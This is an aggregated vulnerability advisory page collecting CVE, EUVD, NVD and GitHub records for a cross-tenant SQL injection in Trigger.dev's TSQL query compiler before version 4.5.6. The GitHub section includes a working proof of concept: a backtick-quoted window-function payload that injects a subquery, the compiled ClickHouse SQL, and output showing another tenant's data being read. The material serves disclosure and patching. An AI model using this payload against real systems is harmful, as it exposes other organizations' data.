Trigger.dev before 4.5.6 Cross-Tenant SQL Injection via TSQL Window-Function Name

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without allowlisting or escaping. Authenticated customers can submit a backtick-quoted identifier to POST /api/v1/query that injects a raw subquery outside the per-tenant WHERE guard, exfiltrating other organizations' analytics data.

Source published

21 Oct 2026 00:36:49 UTC

Source modified

28 Oct 2026 15:23:47 UTC

Observed here

28 Oct 2026 16:46:48 UTC

Source terms

CVE Program Terms of Use

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CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

CVSS 3.1 · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without allowlisting or escaping. Authenticated customers can submit a backtick-quoted identifier to POST /api/v1/query that injects a raw subquery outside the per-tenant WHERE guard, exfiltrating other organizations' analytics data.

Source published

Oct 21, 2026, 12:36:49 AM (timezone not stated)

Source modified

Oct 28, 2026, 3:23:47 PM (timezone not stated)

Observed here

30 Oct 2026 01:58:20 UTC

Source terms

ENISA EUVD · source terms and attribution apply

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 4.0 · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Trigger.dev before 4.5.6 contains an SQL injection vulnerability in the TSQL query compiler, which concatenates window-function names into generated ClickHouse SQL without allowlisting or escaping. Authenticated customers can submit a backtick-quoted identifier to POST /api/v1/query that injects a raw subquery outside the per-tenant WHERE guard, exfiltrating other organizations' analytics data.

Source published

21 Oct 2026 01:17:32 UTC

Source modified

28 Oct 2026 16:17:05 UTC

Observed here

29 Oct 2026 06:48:04 UTC

Source terms

NIST NVD usage terms; underlying source attribution retained

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This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 4.0 · [email protected] · Secondary · 8.3 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

CVSS 3.1 · [email protected] · Secondary · 7.7 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

### Summary A cross-tenant SQL injection in the TSQL query compiler lets **any authenticated trigger.dev customer read every other tenant's analytics data**. The customer-facing query endpoint `POST /api/v1/query` accepts a TSQL/TRQL query that is compiled to ClickHouse SQL by `internal-packages/tsql`. The compiler parameterizes or escapes all user input and injects a per-tenant `WHERE` guard — **except the window-function name**, which is concatenated into the SQL string with no allowlist and no escaping. By smuggling a backtick-quoted identifier into that position, an attacker injects a raw subquery (e.g. `(SELECT ... FROM task_runs_v2 WHERE organization_id = 'org_VICTIM')`) that sits **outside** the tenant guard, exfiltrating another organization's rows. Verified end-to-end against the real compiler and a live ClickHouse. ### Details **Vulnerable sink** — `internal-packages/tsql/src/query/printer.ts:3073-3075`, `ClickHousePrinter.visitWindowFunction`: ```ts private visitWindowFunction(node: WindowFunction): string { const args = node.args ? node.args.map((a) => this.visit(a)) : []; const funcCall = `${node.name}(${args.join(", ")})`; // <-- node.name concatenated RAW ... } ``` `node.name` is emitted directly into the SQL with **no allowlist check and no identifier escaping**. This is the only place in the compiler where an attacker-influenced identifier reaches the output unguarded: - The normal function-call path `visitCall` (`printer.ts:2951`) throws `Unknown function` for any name outside the hardcoded `TSQL_CLICKHOUSE_FUNCTIONS` / `TSQL_AGGREGATIONS` allowlists — **this gate is absent on the window-function path**. - String constants are bound as ClickHouse `query_params` (parameterized). - Other identifiers go through `escapeClickHouseIdentifier`. - Table functions (`url()/file()/remote()/s3()`) are rejected. A **backtick-quoted identifier** is accepted by the lexer and **unescaped** into `node.name` by `visitIdentifier` (the backticks are stripped and the inner text is unescaped), so arbitrary characters — spaces, `(`, `)`, `,`, `'`, a full subquery — become the "function name" and are printed verbatim. **How it bypasses tenant isolation.** Multi-tenancy is enforced only by `enforcedWhereClause`, which is attached to the **outer** table's `WHERE` (`organization_id`/`project_id`/`environment_id` taken from the caller's API key). An injected **subquery** has no such guard, so it reads across all tenants. **Reachability** — `apps/webapp/app/routes/api.v1.query.ts`: - `body.query` is a raw `z.string()`. - Auth is any environment-scoped credential — a private API key or a public JWT — i.e. **any signed-up customer**. - The route's authorization (`detectTables(body.query)` + `everyResource`) only authorizes the **outer `FROM` table** the caller is legitimately allowed to read. The injection rides in the SELECT/window position, so it is invisible to that check. - `executeQuery` passes the caller's `organizationId/projectId/environmentId` into the enforced `WHERE`. The compiled `sql` string is then sent to ClickHouse (`internal-packages/clickhouse/src/client/tsql.ts`) with the injected subquery embedded **in the SQL string itself** (not in bound params), so ClickHouse executes it. ### PoC Reproduced in two stages: (1) the project's real `compileTSQL` emits the injection; (2) a live ClickHouse executes it and returns another tenant's data. **1. Attacker TSQL input** (sent as the `query` field to `POST /api/v1/query` with any valid API key / JWT, authenticated here as `tenant1`): ```sql SELECT `count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, dummy(`() OVER () AS x FROM task_runs ``` **2. Compiled ClickHouse SQL emitted by `compileTSQL` (verbatim):** ```sql SELECT count() OVER (), (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, -- INJECTED, RAW, UNGUARDED dummy(() OVER () AS x FROM trigger_dev.task_runs_v2 AS task_runs WHERE and(equals(task_runs.organization_id, {tsql_val_0: String}), equals(task_runs.project_id, {tsql_val_1: String}), equals(task_runs.environment_id, {tsql_val_2: String})) -- guard ONLY on outer table LIMIT 10000 ``` The injected subquery against `org_OTHER_TENANT` is emitted raw (its org id is a literal, not a bound `{tsql_val}` param) and sits outside the tenant guard. **3. Live ClickHouse execution.** A `trigger_dev.task_runs_v2` table seeded with two tenants; a syntactically-valid variant of the above run as a caller scoped to `org_tenant1`: ``` Seed: org_tenant1 -> payload 'tenant1-public-data' (attacker's own org) org_OTHER_TENANT -> 'VICTIM-SECRET-stripe_sk_live_DEADBEEF', 'VICTIM-SECRET-db_password_hunter2' (victim) Baseline (legitimate tenant1 query, guard = org_tenant1): -> 'tenant1-public-data' (only own data) Exploit (injected subquery, guard STILL org_tenant1): SELECT 1 AS keep, (SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT') AS stolen, count() OVER () AS w FROM trigger_dev.task_runs_v2 AS task_runs WHERE and(equals(task_runs.organization_id, 'org_tenant1'), ...) -> stolen = ['VICTIM-SECRET-stripe_sk_live_DEADBEEF','VICTIM-SECRET-db_password_hunter2'] ``` A caller scoped to `org_tenant1` exfiltrated `org_OTHER_TENANT`'s secret payloads — cross-tenant SQL injection confirmed against the real compiler and a live ClickHouse. **Reproduce the compiler step** with a vitest in `internal-packages/tsql` (mirrors the repo's `src/query/security.test.ts` tenant setup): compile the attacker string above with `enforcedWhereClause` set to `org_tenant1` and assert the output contains `(SELECT groupArray(payload) FROM trigger_dev.task_runs_v2 WHERE organization_id = 'org_OTHER_TENANT')`. Then run that SQL against a ClickHouse seeded as above.

Source published

2 Oct 2026 22:42:20 UTC

Source modified

21 Oct 2026 10:57:24 UTC

Observed here

24 Oct 2026 13:17:17 UTC

Source terms

GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

Publisher rating · HIGH